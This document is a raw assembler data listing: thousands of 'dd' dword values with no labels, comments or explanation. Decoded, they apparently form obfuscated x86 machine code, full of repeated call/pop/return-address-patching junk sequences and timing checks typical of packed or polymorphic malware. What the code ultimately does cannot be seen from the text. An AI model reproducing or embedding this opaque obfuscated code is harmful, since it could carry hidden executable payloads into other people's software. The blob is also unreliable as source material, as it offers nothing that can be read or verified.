		dd 8B00EBE7h, 518D89C0h, 2B061005h, 100F259Dh, 0C1BD8306h
		dd 3061022h, 418850Fh, 8B600000h, 100899BDh, 0BD836106h
		dd 613C26Dh, 3840F00h, 6A000004h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 6A35C356h
		dd 95F859ECh, 0E8FC12B3h, 7, 6FB05F22h,	66D32FF9h, 8B5BD88Bh
		dd 6DB5FFDEh, 0E90613C2h, 0Dh, 71DE9F61h, 0BB154343h, 0D2E9FB1h
		dd 0A595FFD5h, 6606102Fh, 8BE905BFh, 13C261B5h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 685B0103h, 106C7BFh,	0F000100h, 68Eh, 39BD0100h, 96061028h
		dd 0E850DA8Bh, 14h, 9663C294h, 8E795FE1h, 91EBF02Ah, 0D0D8B31Bh
		dd 0ABE8EEDAh, 6A965Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 1A1DBC3h, 8BAD9D49h, 1000C99Dh
		dd 0D1958906h, 0FF06101Fh, 13C26DB5h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 8B336F8Ah, 102A19BDh, 5DBD0B06h, 0FF06102Ah,	10122595h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 25A7499Bh, 0B58B30EDh, 613C261h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0B4C35343h, 6D652C10h
		dd 8089FFBFh, 0BD29B4EBh, 61022F5h, 21D1858Bh, 21BF0610h
		dd 812486F1h, 0E66764DBh, 0C486892Fh, 0FC000000h, 88D0Fh
		dd 8B560000h, 10225D9Dh, 958B5F06h, 61009F5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 9FC35545h, 0E9FFD3E4h
		dd 0Eh,	57006D8h, 49FD6FF4h, 12E17381h,	890F4D52h, 6, 131DBD8Bh
		dd 0C2830610h, 57006A04h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0ECCC0393h, 73609ADBh
		dd 0D9BF0F16h, 6A205089h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 2E2AC356h, 2B9C2BB2h
		dd 100975BDh, 36C38106h, 8D25448Fh, 13D7C285h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 9DF208A5h, 3736DA08h, 0B8868975h, 0BB000000h, 43E8FDF9h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 1DC256C3h, 0FFC79C47h, 13C26DB5h,	95FFF806h
		dd 6100495h, 30D19D8Bh,	0B7500610h, 24348910h, 0EB816653h
		dd 0FF5BEC0Bh, 13C26DB5h, 2D95FF06h, 6A061016h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0F941C355h, 4254A8B9h, 21BD8B55h,	8306101Bh
		dd 101351BDh, 840F0006h, 3Eh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0EBC35545h,	0BF21D3A6h, 96660983h
		dd 8840Fh, 50530000h, 5A310F52h, 53505B58h, 2830Fh, 61600000h
		dd 0B5FF965Bh, 613C26Dh, 0A758589h, 95FF0610h, 6100C19h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 8AC35141h
		dd 66AC205Eh, 0FF25C7BFh, 13C26DB5h, 7DB50106h,	8B061023h
		dd 101D85BDh, 2195FF06h, 33061016h, 102D69BDh, 89BD8306h
		dd 206100Fh, 5E840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0E07850C3h, 96A63430h
		dd 63D381CEh, 8B0B8196h, 1010C585h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 4893B75Dh
		dd 0C6F81Bh, 0A9BD2B00h, 0BF06100Ch, 5D5C9127h,	2A2585C7h
		dd 610h, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 140424h, 51410000h, 9BE90CC3h, 8BFFFFF3h, 4C14BFC1h
		dd 858D4C60h, 61013B9h,	0E89064B7h, 13h, 0E6104E24h, 0BAFF1AC1h
		dd 4EA70CCFh, 0CCB41DF1h, 0BBCBD04Fh, 47D866A8h, 840F505Bh
		dd 5, 0D88B6652h, 890F905Bh, 6,	18D99D8Bh, 6A0610h, 6AF88Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0F7C35747h
		dd 244E307Ah, 89E4EF8Eh, 101B058Dh, 5E858D06h, 0E9061518h
		dd 0Eh,	0A9942C31h, 0E4570B97h,	365620Bh, 0C0836B7Eh, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0B1C93A87h, 0F020F2BDh, 6650F941h, 489F98Bh,	8E924h
		dd 0D0610000h, 4F34D70Dh, 6A1AA8h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 2CC35141h, 7073DA5Fh, 7C89D708h
		dd 0FE4FABBh, 60006A53h, 21D8529h, 81600610h, 0DF3772D6h
		dd 699D891Ch, 61061004h, 1995FF61h, 6A06101Dh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0DE43C353h, 4117B68Dh, 80F88B88h, 8D8D4EC7h,	613AFD8h
		dd 0D1B589h, 0D1FF0610h, 5840Fh, 81660000h, 0BB7812EFh
		dd 4AC10838h, 2209BD83h, 0F010610h, 0A485h, 0F9B70F00h
		dd 6A026Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 3E3A4AC3h, 609071B3h, 0B832BF66h,	0CB5B3DBBh
		dd 6050610Ch, 56BE5250h, 0F79C1BDh, 5A616031h, 4B77BA58h
		dd 90612427h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Bh,	39C35747h, 67A3BA6Bh, 0BAB2107h, 1009A99Dh, 0F98B6606h
		dd 49595FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 7C10A4C3h, 0ADA52D6Ah, 236AFAD8h
		dd 10284DBDh, 0DEFE906h, 0E80000h, 5D000000h, 1868ED81h
		dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 5EBF7CC3h, 817BED82h, 42C5FCD3h, 0B6858D7Eh
		dd 6A061399h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 594CC357h, 0B03EEE98h,	31AE68F4h
		dd 102F0985h, 19D8B06h,	5006102Dh, 6187B260h, 51240489h
		dd 0CE95Bh, 66560000h, 2C8E2309h, 4061F34Bh, 0FF64DEC5h
		dd 35h,	2DBD8900h, 0E906100Fh, 10h, 0B6ADA348h,	509BDA77h
		dd 18F5C8F4h, 0CEB84DA8h, 258964h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 56DAC357h, 0E5C42D23h, 1375BB26h, 85FF6AB0h,	6101419h
		dd 22859D8Bh, 0FF6A0610h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0EDC35747h, 0DE8A1D9Bh, 8A1B5FFh, 0F3800610h
		dd 1595FF00h, 0E9061006h, 0E2h,	0B014B7h, 759BD8Bh, 70E60610h
		dd 2D519D29h, 71E40610h, 8ACBF66h, 830F613Ch, 0C2h, 0FFABF0Fh
		dd 7E8C8B6h, 0E6000000h, 0A5CF4993h, 9D098377h,	6100DA9h
		dd 6BA5Fh, 8B660000h, 60C18BF8h, 1935B589h, 10E80610h
		dd 0B8000000h, 103A9CACh, 35166DB2h, 3AFE92ECh,	662E4F8Ah
		dd 350D081h, 0E8C1615Eh, 66F98B04h, 9D89E2F7h, 6100825h
		dd 91BBC82Bh, 8B431CC1h, 0FE8B66D1h, 5DE9h, 0DBB70F00h
		dd 4E49858Bh, 9D2B4400h, 61009B1h, 6607C083h, 83BC2EBBh
		dd 0B70F00C0h, 0FD03BDBh, 0B83h, 34E900h, 9D8B0000h, 6103161h
		dd 0FFFF8D8Bh, 0B529FFFFh, 61001C9h, 0F01E183h,	1984h
		dd 83EDB300h, 0FFFFFFA5h, 0BB66FEFFh, 9589BE52h, 44004E49h
		dd 0E9FCh, 0B58D0000h, 6148E03h, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 89C35747h, 68B49969h, 0CE9186Eh
		dd 7A000000h, 81C01BF0h, 17F02684h, 6AB00DCBh, 3DBD8B00h
		dd 0FF06101Dh, 1031C995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0DCB932C7h
		dd 6A00000Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0D446C351h, 0CBD3F0A2h, 398B3AB9h
		dd 0BE8h, 3DE6F400h, 688D308Fh,	6BB72571h, 12418529h, 835B0610h
		dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 8BAAEC3h,	0CF816681h, 0E8FCBD96h,	6, 0A829EEDDh
		dd 12E84864h, 51000000h, 749A87ACh, 50935FFBh, 77204F1Ch
		dd 7DE24A94h, 0F99D8B4Ch, 5B061018h, 89C02B5Fh,	10311D95h
		dd 0BA06h, 0B70F0000h, 0C233ADDAh, 0D003E8D1h, 7504E983h
		dd 53006AF4h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 18CBE417h, 5F5F5756h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0D4C35545h,	67384E7Ch, 8F0F5D82h
		dd 6, 0A219D89h, 9D8B0610h, 610142Dh, 880Dh, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 8B4DD54Bh, 1009F595h, 0D9B70F06h, 0ECF8166h,	198D8BF8h
		dd 6A061023h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0DDEAC356h, 0D52A9569h, 7BE5B396h
		dd 66F8E780h, 508E8ABBh, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 2D967712h, 9DC549D9h, 6870FF1h, 89000000h
		dd 1001C185h, 0DE806h, 69DC0000h, 0B9FD9F96h, 7A56E3F4h
		dd 89DA1989h, 100DC59Dh, 89605B06h, 102A9995h, 0C1953306h
		dd 61061012h, 1E29BD83h, 0F000610h, 8784h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 0BD8979C1h, 6101FADh, 8E9h, 56392E00h, 53E2F800h, 0B82Ch
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0DA8BDCC3h, 8D8DDF8Bh, 6104E85h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 3C35747h
		dd 315048C2h, 100E959Dh, 0BFE1FF06h, 392329Ah, 22C1BD83h
		dd 0F000610h, 45084h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 4E2BB4D2h, 22C1BD83h
		dd 0F010610h, 43F84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 7A1C2D6Bh, 42BB66F7h
		dd 15840FAEh, 0E8000000h, 0Fh, 0F8FBBF09h, 405679D7h, 922D9960h
		dd 5F2DE595h, 22C1BD83h, 0F030610h, 3BD86h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 664C6E54h, 0BDC4F781h, 52006A60h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0EA1618E3h
		dd 0B9BD8B9Eh, 6606101Bh, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 662042C3h, 0A9BF381h
		dd 4E180F8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	9BC35646h, 0F711B1Fh, 0C90AF9BFh, 0FF840Fh, 8D890000h
		dd 6102079h, 2185858Bh,	0E9570610h, 10h, 66D0B441h, 3CF2E1D3h
		dd 0E33B2EE5h, 6B7C9FCFh, 0FD85335Bh, 81061011h, 883BFED3h
		dd 0BB66503Fh, 489C5E9h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 5800FFEh, 0BB000000h
		dd 4CFCCB87h, 9D8BFA8Ah, 6101AE9h, 0CEBF006Ah, 68577124h
		dd 500A4246h, 5526A6BFh, 2434812Ch, 501541B9h, 5830Fh
		dd 81660000h, 0FF481ACFh, 1005D595h, 0FD9D8B06h, 89061010h
		dd 13C26D85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0ECF46404h, 0E8058C43h, 8A0F4E88h
		dd 4, 0EC54BB66h, 1D8E9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 658D891Ch
		dd 0F061014h, 88Eh, 2800F00h, 8A000000h, 65858BFAh, 6A0613C2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 2B96C352h, 8B662450h, 0C7F98ADFh,	1800h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 5CEB81E0h, 8B29D5B7h, 13C269B5h,	0C830F06h
		dd 0F000000h, 680h, 0F1BD8B00h,	8B061005h, 100E2585h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 73CF675Bh, 634BBC57h, 0EE869h, 0EF6E0000h, 0B28A1FC4h
		dd 7E78CE0Fh, 0CF8663F2h, 11E58D89h, 895B0610h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 5DFFF349h, 0A936045Bh, 858BA051h, 6102185h, 4689F98Bh
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 89594E5Fh, 101B7185h, 60BF9606h,	500554DEh
		dd 0D88B6696h, 0C265B5FFh, 0E9F50613h, 0Bh, 0C40C1E97h
		dd 5453AADAh, 68D6E18Fh, 808CBD4Eh, 799DF5BFh, 24048107h
		dd 7F9246B1h, 2F298589h, 858D0610h, 613C26Dh, 16850F50h
		dd 0E8000000h, 10h, 0E2D1D925h,	0FDEABFF2h, 36A5EC56h
		dd 1B69EBA8h, 8E0F5F5Bh, 3, 90D8B70Fh, 0BF50F7B7h, 0C07D08Ch
		dd 4830F90h, 66000000h,	0FFB3BBBBh, 1005D595h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 6A19F9E1h, 0EFA0B5B8h, 6A6126h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0C74650C3h, 0E46196Dh
		dd 1B5898Bh, 0C706101Eh, 1022C185h, 306h, 0DEB70F00h, 0B519D89h
		dd 0BD830610h, 613C26Dh, 2F840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0D681C357h, 27E92Fh,	800F0000h, 6, 1CF99589h, 30500610h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 205BF983h, 22BF6660h, 0D8B70F5Ah, 68A0F61h
		dd 89000000h, 1013D9B5h, 0C1BD8306h, 3061022h, 424850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0A82B8EC3h, 0B70FF686h, 6DBD83FEh, 613C2h
		dd 3F4840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 4C432CC3h, 2C44D062h, 0FFFC7439h
		dd 13C26DB5h, 0FFC0B706h, 102FA595h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0FF21241h
		dd 0F71D320Eh, 0BF66B8B8h, 0B58B90C2h, 613C261h, 2DA59509h
		dd 6C70610h, 10001h, 39EBBF66h,	50606096h, 5A310F52h, 0DE858h
		dd 0B8640000h, 0EBA35E1Fh, 0F352109Ah, 5E2E2F5Eh, 0D38B6661h
		dd 57565061h, 5B5F5F52h, 56006A96h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0BAA22FFh, 0BF621578h
		dd 45BD899Ah, 0FF06102Ah, 13C26DB5h, 0DF816606h, 95FFCF22h
		dd 6101225h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	3DC35747h, 9589F813h, 6101F55h,	0C261B58Bh, 6A0613h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 456C28C3h, 56074690h, 538966D6h, 1E6D9D8Bh, 8B5B0610h
		dd 1021D185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0BD2B52E3h, 61032B9h, 0C486895Bh
		dd 8B000000h, 1009F595h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0A1B9702Ah, 89222CF7h
		dd 1011718Dh, 0E95F5106h, 9, 26D5FAC5h,	87F178A7h, 4C28309h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0E2C35141h
		dd 8660A79Eh, 89DFF07Eh, 8D0F2050h, 6, 0DC59589h, 858D0610h
		dd 613D7C2h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	76C35242h, 4B715678h, 0D5A1E786h, 0B886895Bh, 8B000000h
		dd 1027859Dh, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 7F2CC352h, 0BF0F60CFh
		dd 0DFBF0FC7h, 0DA816061h, 44A360D6h, 0FE78166h, 0B5FF613Bh
		dd 613C26Dh, 8E9h, 6F29DF00h, 0D7CE3498h, 9595FF7Fh, 29061004h
		dd 10090985h, 0BB665006h, 3489E133h, 55006A24h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0D381662Dh
		dd 0B5FF26B6h, 613C26Dh, 2D95FFFCh, 6A061016h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0F4DC357h, 81h, 0C0CF8100h, 837FA6C4h, 101351BDh, 840F0006h
		dd 4Eh,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Bh, 0C3C35343h, 21523E80h
		dd 3197AE08h, 100011BDh, 34895006h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0D65B1740h
		dd 0B5FFD891h, 613C26Dh, 0FFF98B66h, 100C1995h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 174CA6FAh, 75858987h, 0FF06102Dh, 13C26DB5h,	0E1EF8006h
		dd 162195FFh, 7E90610h,	0F4000000h, 242D03C2h, 890F4E67h
		dd 0
		dd 0F89BD83h, 0F020610h, 5184h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0A43C2397h
		dd 8224C287h, 2A019D89h, 858B0610h, 61010C5h, 6A0000C6h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0E85BC355h, 85C7EB8Eh, 6102A25h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 6AC35242h
		dd 2B70CCA7h, 1FE977DAh, 8BFFFFF3h, 102805BDh, 6AC18B06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 17F2C351h, 89A7F4DDh, 101F9585h, 0B9858D06h
		dd 6A061013h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 8104C355h, 50C203DFh, 4895009h
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0CEB65265h, 0B834B2C1h, 9589EC4Fh, 6100535h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0B30F6DC3h, 0EB2E158Ch, 0E8E8B8C7h, 8, 0A32B775Dh
		dd 36F75BA6h, 22699589h, 6A5B0610h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 2B41B8A6h
		dd 8D080E85h, 15286585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0BFF54B05h, 71A88818h
		dd 833FE780h, 0E38105C0h, 84F6CCh, 0CE850h, 66510000h
		dd 126C3F42h, 0D9BD2E0Fh, 0E86048B9h, 13h, 1B00AF79h, 58E1B930h
		dd 1705258Fh, 45F40B86h, 5EDF1E28h, 61D38B66h, 2404895Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 68C35545h
		dd 221680ABh, 0DEBF0F9Bh, 11ADBD8Bh, 6A0610h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 9DC35242h, 95899DB0h
		dd 61027E9h, 0BD8B006Ah, 61010DDh, 1D1995FFh, 0BF530610h
		dd 3410D391h, 0C8F0F5Fh, 0F000000h, 684h, 0BD9D0100h, 8D06101Ah
		dd 13AFD88Dh, 85BD8906h, 0FF061004h, 9BD83D1h, 1061022h
		dd 62850Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0D9CA2FC3h, 3980F4A8h, 26AD860h
		dd 0BE9h, 20DDD00h, 6857FFADh, 0DA8D81Bh, 0BE950h, 20540000h
		dd 7BC34202h, 1067E60Eh, 240489D9h, 2D959D09h, 95FF0610h
		dd 6100495h, 6830Fh, 0EB810000h, 336D00A7h, 0D98E9h, 0E800h
		dd 815D0000h, 15286FEDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 57D3FCE6h, 0C8B0Fh, 810F0000h
		dd 6, 8F0Fh, 31FC0000h,	10208D8Dh, 0B6858D06h, 8B061399h
		dd 101FDD9Dh, 6BB79006h, 92BF5250h, 5B5F4182h, 68D0F90h
		dd 8B000000h, 1029399Dh, 35FF6406h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0CAC35646h
		dd 0DAC177Bh, 9D8D897Bh, 64061023h, 2589h, 0FFFC0000h
		dd 10141985h, 81665106h, 5BC563E7h, 6AFF6Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 786D54C3h
		dd 0B5A3D097h, 65B5FF19h, 6A061008h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0E27C353h
		dd 0A094A59Ah, 7E97D94h, 99000000h, 9DACC74Fh, 95FF1E52h
		dd 6100615h, 135E9h, 0B0F98B00h, 5FF95600h, 6670E6F9h
		dd 71E4FA8Bh, 2DA7BF66h, 3CD9B70Fh, 17830F61h, 89000001h
		dd 10162595h, 0E58D8906h, 0F061014h, 0BD8BC8B6h, 61011CDh
		dd 6BAh, 0F8BF0F00h, 8B0FC18Bh,	6, 2275BD2Bh, 0E8C10610h
		dd 0AFBB6604h, 0DA8B66E9h, 0BE2F766h, 102829BDh, 8BC82B06h
		dd 1032DD9Dh, 899D8B06h, 8B06100Dh, 0FBBF0FD1h,	0C1E9h
		dd 0F7816600h, 858BDB9Eh, 505F4C4Ch, 0FFBADB81h, 0C08317A1h
		dd 31C38107h, 83395EC9h, 12E800C0h, 23000000h, 717F0EB2h
		dd 34DAD632h, 0E49D3600h, 341572D9h, 10E960B5h,	0F8000000h
		dd 879B3FC7h, 101B2003h, 0AFD17C6Dh, 617DA828h,	0FD03B5Fh
		dd 1183h, 0FE8B6600h, 0D7DFBF66h, 61E9h, 0C890BB00h, 8D8B029Fh
		dd 0FFFFFFFFh, 0FE9h, 81AA000h,	54DCF61h, 59DC088Fh, 40CD0988h
		dd 0F01E183h, 3984h, 0F9BF0F00h, 83F8B70Fh, 0FFFFFFA5h
		dd 0BD2BFEFFh, 6102025h, 4C4C9589h, 0BE8505Fh, 62000000h
		dd 979B6F22h, 4BAFCA1Dh, 0BB66D334h, 315B8775h,	1015A995h
		dd 0E906h, 0B58D0000h, 6149DDFh, 6AFBBF0Fh, 315B5300h
		dd 1027DDBDh, 0C995FF06h, 6A061031h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0AF47C357h
		dd 773258CEh, 0C5BD09B6h, 0B906102Ah, 0F84h, 1E9D8589h
		dd 0E1830610h, 11E8FCh,	0D7B80000h, 47783D39h, 0E19FEA71h
		dd 0F8092D86h, 8947CAA5h, 101471BDh, 6AFC5B06h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0F1EC356h, 687h, 0FD8D0100h,	0E906101Dh, 0Bh, 0AB6A6A63h
		dd 0CF7CE3BAh, 0B869F6BEh, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0BCC35747h
		dd 5FE6362Bh, 0F5BB75D4h, 0DE8h, 61EDFC00h, 0B4A57A7Ah
		dd 0A88248D4h, 8B66DDF7h, 0BA5FFAh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 244FC356h, 527CEDB9h, 12CDB529h, 95F0610h, 1018ED95h
		dd 0C233AD06h, 0D003E8D1h, 7504E983h, 0B4F781F4h, 6A094F1Ch
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 89BDC351h, 1013A1BDh, 880D06h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 1A263EC3h, 0BD8B191Eh, 6100A99h, 8BF98B66h, 1009F595h
		dd 8D01F906h, 6101189h,	23198D8Bh, 0FA8B0610h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 9D895818h,	6100C81h
		dd 6A5CE380h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 5E19C356h, 0DA8B8D75h,	1E29BD83h
		dd 0F000610h, 1F84h, 35BD8B00h,	29061013h, 1031CD8Dh, 0B806h
		dd 8D890000h, 610167Dh,	4E858D8Dh, 0E1FF0610h, 22C1BD83h
		dd 0F000610h, 47384h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 5E50E546h, 838B766Eh
		dd 1022C1BDh, 840F0106h, 45Fh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 50C35242h, 0B19D89F4h, 33061000h
		dd 10124D9Dh, 0C1BD8306h, 3061022h, 3F3860Fh, 860F0000h
		dd 0
		dd 56006A60h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0F215C894h, 0FC57B3C8h, 0DF87BF66h, 1BAD8589h
		dd 8C660610h, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 25893E59h, 80AB729Fh, 0CE904E1h
		dd 25000000h, 8C3DA57Dh, 0C5603CFFh, 0A6AACBEh,	59840FC9h
		dd 6A000001h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0EA69C356h, 85858B67h,	9061021h
		dd 102F7D9Dh, 0FD853306h, 6A061011h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 89D5C355h
		dd 1021B1B5h, 8B529006h, 0BF505FFBh, 26CB68EEh,	52006A90h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 6E9609Dh, 1C000000h,	60EE825Eh, 28F0F47h, 8A000000h
		dd 6A61FEh, 0AE8h, 2882C00h, 4192A19Ah,	666EA97Dh, 65B8D381h
		dd 9DB7685Bh, 12E9768Fh, 9D000000h, 9ED98809h, 0E2D7FB2Ch
		dd 0A3E26888h, 0D744890Fh, 243481E5h, 76909E48h, 0E855006Ah
